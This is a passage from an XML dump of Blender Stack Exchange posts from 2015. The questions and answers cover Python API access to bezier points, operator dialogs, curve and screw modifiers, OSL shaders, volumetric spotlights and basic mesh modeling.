  <row Id="24483" PostTypeId="2" ParentId="24477" CreationDate="2015-02-09T13:15:04.360" Score="2" Body="&lt;p&gt;You can try to figure it out yourself in the &lt;em&gt;Python Console&lt;/em&gt;, or use the API docs as described here: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/info_api_reference.html#simple-data-access&quot; rel=&quot;nofollow&quot;&gt;Blender/Python API Reference Usage: examples of how to use the API reference docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/search.html?q=bezier&amp;amp;check_keywords=yes&amp;amp;area=default&quot; rel=&quot;nofollow&quot;&gt;search for &lt;code&gt;bezier&lt;/code&gt; in the docs&lt;/a&gt;, you will find &lt;code&gt;bpy.types.BezierSplinePoint.co&lt;/code&gt; among others. At the bottom of the page, you can find&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.Spline.html#bpy.types.Spline.bezier_points&quot; rel=&quot;nofollow&quot;&gt;Spline.bezier_points&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;bezier_points&lt;/code&gt; is an attribute of a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.Spline.html#bpy.types.Spline.bezier_points&quot; rel=&quot;nofollow&quot;&gt;Spline&lt;/a&gt; object, which is in turn an attribute of a &lt;strong&gt;Curve&lt;/strong&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;References&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bpy.types.Curve.html#bpy.types.Curve.splines&quot; rel=&quot;nofollow&quot;&gt;Curve.splines&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The access path is therefore &lt;code&gt;Curve.splines[#].bezier_points[#].co&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Curve is an ID type:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Curve(ID)&lt;br&gt;&lt;/strong&gt;&#xA;  base classes — bpy_struct, ID&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which could be, for instance, &lt;code&gt;bpy.data.curves['BezierCurve']&lt;/code&gt;. Or if you want the data block of the current object, you would use &lt;code&gt;bpy.context.object.data&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;assert ob.type == 'CURVE' # throw error if it's not a curve&#xA;&#xA;curve = ob.data&#xA;spline = curve.splines.active # let's assume there's only one&#xA;assert spline.type == 'BEZIER' # throw error if it's not a bezier&#xA;&#xA;print(len(spline.bezier_points)) # print number of points&#xA;print(spline.bezier_points[0].co) # print coordinate of first point&#xA;print(spline.bezier_points[0].handle_left) # ... and its left handle's coordinate&#xA;print(spline.bezier_points[0].handle_right) # ... as well as the right one&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-09T13:15:04.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24484" PostTypeId="1" CreationDate="2015-02-09T13:43:19.633" Score="0" ViewCount="594" Body="&lt;p&gt;I know... Origin to 3D cursor but it's not that Here's the start:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5geAk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5geAkm.jpg&quot; alt=&quot;object at start of animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the end:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l6gma.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6gmam.jpg&quot; alt=&quot;object at end of animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Here's the middle showing the problem:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tuJoJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuJoJm.jpg&quot; alt=&quot;object in the middle of animation showing the problem&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Is there any way I can stop it from going off?&lt;/p&gt;&#xA;" OwnerUserId="11500" LastEditorUserId="2217" LastEditDate="2015-02-09T14:44:27.167" LastActivityDate="2015-02-09T14:44:27.167" Title="Rotate on a point?" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-02-09T15:02:15.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="24485" PostTypeId="2" ParentId="24482" CreationDate="2015-02-09T13:48:47.180" Score="6" Body="&lt;p&gt;You seem to misunderstand how operators work. If there's supposed to be a props dialog, it is displayed &lt;strong&gt;before&lt;/strong&gt; the operator execution. More specifically, in the &lt;strong&gt;invoke&lt;/strong&gt; phase:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;poll(cls, context) -&amp;gt; invoke(self, context, event) -&amp;gt; execute(self, context)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The poll classmethod of an operator is used to determine if the context allows the operator to run at all. If the context is not suitable (wrong area type, no object selected, ...), it needs to &lt;code&gt;return False&lt;/code&gt;. You won't be able to run this operator until there's a valid context (not only from a button, but also spacebar menu and Python console). Operators in panels (=buttons) will be grayed out if polling fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens next depends on the execution context. If you run an operator from spacebar menu or by a button click, it will be usually &lt;code&gt;INVOKE_DEFAULT&lt;/code&gt; and thus call &lt;code&gt;invoke()&lt;/code&gt; of the operator. Notable about this method is, that an event object is passed to it. You need to &lt;strong&gt;return the result of&lt;/strong&gt; &lt;code&gt;wm.invoke_props_dialog(self)&lt;/code&gt; in &lt;code&gt;invoke()&lt;/code&gt; to make the dialog work. It will open the dialog and wait for user input. If the user clicks outside the dialog, the operator will be aborted. If he/she clicks on OK, &lt;code&gt;execute()&lt;/code&gt; will be called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;execute()&lt;/code&gt; method of an operator contains the actual code of the operation. It is immediately executed if the execution context is &lt;code&gt;DEFAULT_EXECUTE&lt;/code&gt;, which is the case for scripts and the Python console by default. There is usually no point in invoking the operator to get user input prior to the actual operation, and it's sometimes not even possible because of an incorrect context (an invocation from the Python console would run &lt;code&gt;invoke()&lt;/code&gt; in the Python console, but a 3D View might be required). You would need to pass custom context along the execution context, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.your.operator({'area': my_area}, 'INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your operator does not define &lt;code&gt;invoke()&lt;/code&gt;, therefore &lt;code&gt;execute()&lt;/code&gt; is called immediately. The scene parameters are changed, but then you call the props dialog. It can't be used here and does crash for that reason. It is not supported to display a dialog after an action (operators supporting undo can display something in the redo panel, but that's about it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SceneSettings(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;wm.scene_settings&quot;&#xA;    bl_label = &quot;Scene Settings Set Up&quot;&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self, width=175, height=50)&#xA;&#xA;    def execute(self, context):&#xA;        scene = context.scene&#xA;        scene.unit_settings.system = 'METRIC'&#xA;        scene.unit_settings.scale_length = 0.5&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A more appropriate way to inform the user is to use &lt;code&gt;self.report()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SceneSettings(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;wm.scene_settings&quot;&#xA;    bl_label = &quot;Scene Settings Set Up&quot;&#xA;&#xA;    def execute(self, context):&#xA;        scene = context.scene&#xA;        scene.unit_settings.system = 'METRIC'&#xA;        scene.unit_settings.scale_length = 0.5&#xA;        self.report({'INFO'}, &quot;Applied scene settings.&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run this code in the &lt;em&gt;Text Editor&lt;/em&gt;, then search for the operator in the 3D View spacebar menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mwcGK.png&quot; alt=&quot;self.report() in info area on operator execution in 3D View context&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-09T13:48:47.180" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24486" PostTypeId="2" ParentId="24484" CreationDate="2015-02-09T14:02:42.073" Score="2" Body="&lt;p&gt;&lt;strong&gt;In Object Mode&lt;/strong&gt; select your object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and &lt;strong&gt;Apply Rotation &amp;amp; Scale&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; select the vertex where you want the object to rotate, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;strong&gt;Cursor to Selected&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode and do Transform-&gt;&lt;strong&gt;Origin to 3D Cursor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mx0mA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-02-09T14:13:09.480" LastActivityDate="2015-02-09T14:13:09.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24487" PostTypeId="1" AcceptedAnswerId="24490" CreationDate="2015-02-09T15:32:56.947" Score="5" ViewCount="651" Body="&lt;p&gt;I'm trying to create an animation of a zipper unzipping, and I'm having some problems with the curve modifier. The flat planes on the sides of the zipper are deforming to create a crease in it. The planes are part of the same zip object that has an array modifier applied to it. The blend file is &lt;a href=&quot;https://drive.google.com/a/deentaylor.com/file/d/0B07YADKKdCjWOVJCQlI2dlliWms/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Could someone please explain how to fix this, and maybe even send me an updated file for reference along with the explanation?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eCQIQ.png&quot; alt=&quot;Top view of the problem&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Or4DM.png&quot; alt=&quot;Side view&quot;&gt;&#xA;I'm trying to follow &lt;a href=&quot;https://www.youtube.com/watch?v=waCN_4q7ens&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;, so if anyone can point out to me where I went wrong, that'd be great. Also, &lt;/p&gt;&#xA;" OwnerUserId="11488" LastActivityDate="2015-02-09T16:03:35.087" Title="Problem with curve modifier on zipper" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24488" PostTypeId="2" ParentId="24414" CreationDate="2015-02-09T15:44:50.930" Score="1" Body="&lt;p&gt;First apply an array modifier to the train tracks. With a distance set to one, this will make the rail segments touch, and iterate. Then, add a bezier curve. Select it, press tab to switch into edit mode, and then manipulate it to get a good shape. Apply a curve modifier to the rail, and set the object to be the bezier curve you created. The rail will curve to match your bezier curve. An invaluable resource in blender is the &lt;a href=&quot;http://www.blenderguru.com/articles/blender-101-modifier-encyclopedia/&quot; rel=&quot;nofollow&quot;&gt;modifier encyclopedia on Andrew Price's website&lt;/a&gt;. Great tool for reference. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="11488" LastActivityDate="2015-02-09T15:44:50.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24489" PostTypeId="2" ParentId="24476" CreationDate="2015-02-09T15:45:45.040" Score="6" Body="&lt;p&gt;To make a perfectly spherical sphere, that responds well to modifiers, you need to use an &lt;strong&gt;&lt;em&gt;Icosphere&lt;/em&gt;&lt;/strong&gt;. This is a spherical mesh made from &lt;strong&gt;congruent triangular faces&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YXyoP.gif&quot; alt=&quot;Icosphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using smooth shading or a subdivision modifier, there are no artifacts as &lt;strong&gt;all the faces are exactly the same&lt;/strong&gt; in size and shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, a &lt;strong&gt;&lt;em&gt;UV Sphere&lt;/em&gt;&lt;/strong&gt; is made up in the manner of a globe, with degrees of Longitude and Latitude:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PiYrQ.gif&quot; alt=&quot;UV Sphere&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-09T15:45:45.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24490" PostTypeId="2" ParentId="24487" CreationDate="2015-02-09T15:49:04.517" Score="7" Body="&lt;p&gt;(Creator of the tutorial here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the curve handles of the curve that deforms the plane is pointing the wrong way, causing part of the mesh to be flipped upside down, as shown below by the directional arrows of the curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TNuY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter 'Edit mode' for curve (Bezier Curve.001).&lt;/li&gt;&#xA;&lt;li&gt;Select the middle curve point, which is the one that is flipped.&lt;/li&gt;&#xA;&lt;li&gt;Rotate the curve point 180 degrees on the 'x' axis (&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;1&lt;/kbd&gt;,&lt;kbd&gt;8&lt;/kbd&gt;,&lt;kbd&gt;0&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Exit edit mode, and if the error hasn't gone, simply turn the curve modifier on and then off and the mesh should refresh.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-09T16:03:35.087" LastActivityDate="2015-02-09T16:03:35.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24492" PostTypeId="1" AcceptedAnswerId="24494" CreationDate="2015-02-09T17:01:13.310" Score="4" ViewCount="410" Body="&lt;p&gt;I'm trying to create an OSL shader which will select a different texture depending on which frame I'm rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need it to be in OSL but I have a mixture of texture groups each with a series of texture maps and I want to render every combination of each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could setup a loop and iterate through an array to do so but I can't seem to figure out how to access the current frame information.&lt;/p&gt;&#xA;" OwnerUserId="11501" LastActivityDate="2015-02-09T17:19:34.750" Title="access to time or current frame in OSL" Tags="&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24493" PostTypeId="1" AcceptedAnswerId="24495" CreationDate="2015-02-09T17:03:13.287" Score="3" ViewCount="11843" Body="&lt;p&gt;I'm using a Spotlight on one of my scenes, first I planned to make the effect of the lightrays on other editing software, but maybe it's possible on Blender. It is possible to make a spotlight look like the image below? (also, I'm using cycles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gm18u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorDisplayName="user1853" LastEditDate="2015-02-09T17:58:04.907" LastActivityDate="2015-02-09T18:01:52.117" Title="Is it possible to make visible spotlight lightrays?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-02-09T18:34:55.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="24494" PostTypeId="2" ParentId="24492" CreationDate="2015-02-09T17:19:34.750" Score="5" Body="&lt;p&gt;To access the frame info you could create a simple OSL script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader frame_node(&#xA;    int  frame= 1,&#xA;    color Color1 = color(0.8, 0.0, 0.0),&#xA;    output color Diffuse = 0)&#xA;{&#xA;    Diffuse = frame * Color1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and keyframe the frame input socket accordingly. &#xA;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g7Dhp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-09T17:19:34.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24495" PostTypeId="2" ParentId="24493" CreationDate="2015-02-09T17:29:47.523" Score="6" Body="&lt;p&gt;Yes, this is now very easy to do efficiently. Add a spot lamp where you want it, and then add a cube and edit to just barely contain the spot lamp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dt5OJ.jpg&quot; alt=&quot;SpotLamp1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make the material of the cube as shown. Note that the &lt;em&gt;Transparent&lt;/em&gt; shader is not necessary, and you can leave the &lt;em&gt;Surface&lt;/em&gt; input blank. However you can have a surface material &lt;em&gt;and&lt;/em&gt; a volume material at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5hCf.jpg&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a plane as the ground and render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBXbP.jpg&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the volume is so small to render, it renders very quickly, this test render took about 3.5 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to move your spot lamp, just parent the mesh to it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Object&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-09T18:01:52.117" LastActivityDate="2015-02-09T18:01:52.117" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24496" PostTypeId="1" AcceptedAnswerId="24498" CreationDate="2015-02-09T17:31:39.317" Score="11" ViewCount="5346" Body="&lt;p&gt;I am having trouble finding a way to rotate a shape to make a mesh.  I found Youtube examples using older versions of Blender but none for the one we are using in the class I teach.  We are building a Civil War scene. It includes Ft. Sumter and a Steamship plus various items including a cannon.  I've decided to show my students two ways to make a cannon, if I can.  Here attached are some images that show my approaches.  I can show them how to do the modeling using a UV Sphere, but I think it is important to show both methods.  There should be some kind of menu option that asks for a line that would act as a rotation axis.&lt;img src=&quot;https://i.stack.imgur.com/bbd7y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJr9d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2016-11-01T20:49:56.273" Title="How can I create a profile and rotate it to create a mesh using Blender 2.72?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24497" PostTypeId="2" ParentId="24496" CreationDate="2015-02-09T17:39:47.763" Score="13" Body="&lt;p&gt;What you are looking for is the &lt;em&gt;Spin&lt;/em&gt; tool. Set the &lt;em&gt;3D Cursor&lt;/em&gt; to the position you want to spin around (generally the origin) and then press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. You will notice a bunch of options come up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HUjE4.jpg&quot; alt=&quot;Spin Tool Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is located in the left menu, opened by pressing &lt;kbd&gt;T&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZz77.gif&quot; alt=&quot;Spin Tool GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you will need to remove doubles by selecting all vertices, and pressing &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Remove Doubles&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For detailed information on all of the capabilities, go to &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/duplicating/spin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;the official documentation page&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="1245" LastEditDate="2016-11-01T20:49:56.273" LastActivityDate="2016-11-01T20:49:56.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24498" PostTypeId="2" ParentId="24496" CreationDate="2015-02-09T18:09:40.927" Score="16" Body="&lt;p&gt;You can use a &lt;strong&gt;&lt;em&gt;Screw Modifier&lt;/em&gt;&lt;/strong&gt;. Being in &lt;em&gt;Object Mode&lt;/em&gt; select your profile and enable the modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YnHZ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have now a bunch of extra options. Set the desired axis you want your profile to screw along. Set the &lt;em&gt;Angle&lt;/em&gt; to 360 degrees to have the whole form (or 180 if you want to have a half of the form). You may also increase the number of the &lt;em&gt;Steps&lt;/em&gt;, so if you apply the modifier later you'll have more geometry. Please see this documentation for more details: &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Screw&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Screw&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BkUpk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may notice the strange behaviour of the normals after applying the modifier. Recalculate them using a &lt;em&gt;Tool Shelf&lt;/em&gt; button or use the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; shortcut, while in &lt;em&gt;Edit Mode&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ON8LC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Placing the origin point to make the Screw Modifier work properly (according to Randy's situation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with placing the inner vertices of the profile perfectly on the one axis.&#xA;Then I gave the mesh the same rotation and the origin point the same location like on your printscreens.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CqDzZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I entered the &lt;em&gt;Edit Mode&lt;/em&gt; and selected two vertices as pictured below. Then snapped the &lt;em&gt;cursor to selection&lt;/em&gt; using shortcut: &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;--&gt;Cursor to Selected.&lt;/li&gt;&#xA;&lt;li&gt;I entered the &lt;em&gt;Object Mode&lt;/em&gt; and snapped the &lt;em&gt;origin point to 3D cursor&lt;/em&gt; using &lt;em&gt;Tool Shelf&lt;/em&gt; button (you may also use the shortcut: &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;--&gt;Origin to 3D cursor).&lt;/li&gt;&#xA;&lt;li&gt;With the origin point set I enabled the &lt;em&gt;Screw Modifier&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w0lhy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-02-10T15:14:34.163" LastActivityDate="2015-02-10T15:14:34.163" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24499" PostTypeId="1" CreationDate="2015-02-09T18:33:40.090" Score="6" ViewCount="9505" Body="&lt;p&gt;I need to design a thick slit, in which i will place a lever, kind of like a large power switch that mad scientists have. I was wondering how to make the slit, and save as one mesh. Would really help if someone could tell me how to make the lever as well.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastActivityDate="2015-02-09T23:22:52.087" Title="How do I make a square hole in a cube, and then save it as one mesh?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24500" PostTypeId="2" ParentId="24499" CreationDate="2015-02-09T18:39:15.190" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;In edit mode, select the top face of your cube. &lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; and resize the new face till it is the size you need.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to extrude the hole inward.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Delete&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt; and choose &lt;em&gt;Faces&lt;/em&gt; to delete the bottom face of your hole.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtqVu.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-02-09T18:39:15.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24502" PostTypeId="1" CreationDate="2015-02-09T18:45:25.737" Score="2" ViewCount="1602" Body="&lt;p&gt;So I have this Zbrush model that I made. It has separate parts for clothes, hair, eyes etc.&#xA;When I'm animating it, it deforms really weirdly and when I'm using it in a cloth simulation it gets some more weird deformations that I cant even explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some of the deformations can be solved through weight painting, but some parts apart from the body seems like &quot;splitting or doubling&quot; itself when I'm trying to move them in pose mode. No idea if the problem is in the model, some settings or just the weight paint, which I don't think in this case it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default setup&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ECrtY.png&quot; alt=&quot;the default setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cloth deforming when cloth simulation on.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TlT15.png&quot; alt=&quot;cloth deforming when cloth simulation on.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cloth seems to split or double itself when I rise the leg.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a12Vt.png&quot; alt=&quot;model thigh cloth seems to split or double itself when i rise the leg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More deformation errors&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hn01Z.png&quot; alt=&quot;some more deformations&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11503" LastEditorUserId="2217" LastEditDate="2015-02-10T03:30:54.580" 